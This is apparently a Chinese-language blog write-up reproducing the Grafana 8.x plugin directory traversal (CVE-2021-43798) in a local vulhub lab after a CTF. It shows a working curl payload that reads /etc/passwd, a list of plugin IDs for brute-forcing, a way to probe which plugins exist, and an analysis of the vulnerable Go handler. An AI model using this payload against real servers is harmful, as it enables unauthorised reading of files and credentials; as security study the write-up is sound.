CVE-2021-43798复现
上个周末打了*CTF
,其中有道题目涉及了CVE-2021-43798
——Grafana 8.x 插件模块目录穿越漏洞,比赛时直接用现成的poc
就完事了,现在复现一下。
复现步骤
P师傅的vulhub
上有,所以复现起来就相对很方便。
服务启动后访问http://127.0.0.1:3000
就能看到登陆页面了,在登录页面中有Grafana
的版本信息。
这个漏洞出现在插件模块中,这个模块支持用户访问插件目录下的文件,但因为没有对文件名进行限制,攻击者可以利用../
的方式穿越目录,读取到服务器上的任意文件。
因此发送相对于插件目录的payload
即可实现目录穿越。
┌─[pillow@MSI] - [~] - [319]
└─[$] curl http://127.0.0.1:3000/public/plugins/alertlist/../../../../../../../../../../../../../etc/passwd --path-as-is
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin
常见的插件清单:
alertlist
cloudwatch
dashlist
elasticsearch
graph
graphite
heatmap
influxdb
mysql
opentsdb
pluginlist
postgres
prometheus
stackdriver
table
text
分析
漏洞原理分析
按照参考链接2中的方法,审计pkg/api/api.go
。
所有的路由都是通过以下方法进行注册的,第一个参数为匹配的路由,后面的即为对应路由的Handler。
// pkg/api/routing/route_register.go
// RouteRegister allows you to add routes and web.Handlers
// that the web server should serve.
type RouteRegister interface {
// Get adds a list of handlers to a given route with a GET HTTP verb
Get(string, ...web.Handler)
// Post adds a list of handlers to a given route with a POST HTTP verb
Post(string, ...web.Handler)
// Delete adds a list of handlers to a given route with a DELETE HTTP verb
Delete(string, ...web.Handler)
// Put adds a list of handlers to a given route with a PUT HTTP verb
Put(string, ...web.Handler)
// Patch adds a list of handlers to a given route with a PATCH HTTP verb
Patch(string, ...web.Handler)
// Any adds a list of handlers to a given route with any HTTP verb
Any(string, ...web.Handler)
// Group allows you to pass a function that can add multiple routes
// with a shared prefix route.
Group(string, func(RouteRegister), ...web.Handler)
// Insert adds more routes to an existing Group.
Insert(string, func(RouteRegister), ...web.Handler)
// Register iterates over all routes added to the RouteRegister
// and add them to the `Router` pass as an parameter.
Register(Router)
// Reset resets the route register.
Reset()
}
在api.go
中的路由分为两类,有两个参数的和三个参数的,三个参数的即为需要通过鉴权之类的middleware
的路由。
这里有存在漏洞的路由为:
// pkg/api/api.go
// expose plugin file system assets
r.Get("/public/plugins/:pluginId/*", hs.getPluginAssets)
hs.getPluginAssets
的功能为:
// pkg/api/plugins.go
// getPluginAssets returns public plugin assets (images, JS, etc.)
//
// /public/plugins/:pluginId/*
func (hs *HTTPServer) getPluginAssets(c *models.ReqContext) {
pluginID := web.Params(c.Req)[":pluginId"] // 获取插件名
plugin, exists := hs.pluginStore.Plugin(c.Req.Context(), pluginID)
if !exists {
c.JsonApiErr(404, "Plugin not found", nil) // 插件不存在就404
return
}
requestedFile := filepath.Clean(web.Params(c.Req)["*"]) // 获取'*'中的路径
pluginFilePath := filepath.Join(plugin.PluginDir, requestedFile) // 与'plugin'的路径进行拼接
if !plugin.IncludedInSignature(requestedFile) {
hs.log.Warn("Access to requested plugin file will be forbidden in upcoming Grafana versions as the file "+
"is not included in the plugin signature", "file", requestedFile)
}
// It's safe to ignore gosec warning G304 since we already clean the requested file path and subsequently
// use this with a prefix of the plugin's directory, which is set during plugin loading
// nolint:gosec
f, err := os.Open(pluginFilePath) // 直接打开了,没有过滤'../'
......
}
关键位置已经写了注释了。
插件发现
从上面的过程中发现,要想成功的利用该目录穿越的漏洞,还需要找到一个存在的插件,在参考链接2中主要给出了以下几种方法:
- 收集插件列表进行爆破;
http://127.0.0.1:3000/public/plugins/fake/1.txt
不存在的插件响应Plugin not found
;http://127.0.0.1:3000/public/plugins/welcome/1.txt
存在的插件响应Plugin file not found
- 登录页面的js中探测插件信息。
可读的内容
可以考虑去读取以下内容:
有的没的
用docker复现漏洞也确实是方便,看了一下这个环境的docker-compose.yml
:
version: '2'
services:
web:
image: vulhub/grafana:8.2.6
ports:
- "3000:3000"
vulhub/grafana:8.2.6
的dockerfile
内容为:
FROM grafana/grafana:8.2.6
LABEL maintainer="phithon <root@leavesongs.com>"
就是把grafana的官方images导入了一下。
如果遇到麻烦的环境,dockerfile
可能写的就会复杂一些了,所以就好奇dockerfile
怎么debug
,大概查了一下。
由于docker
是按层构建的,所以在出错的层之前的内容是构建成功的,因此可以启动成功部分的镜像,再手动输入命令来debug
。
也可以通过docker logs <container_id>
的方式查看日志进行debug
。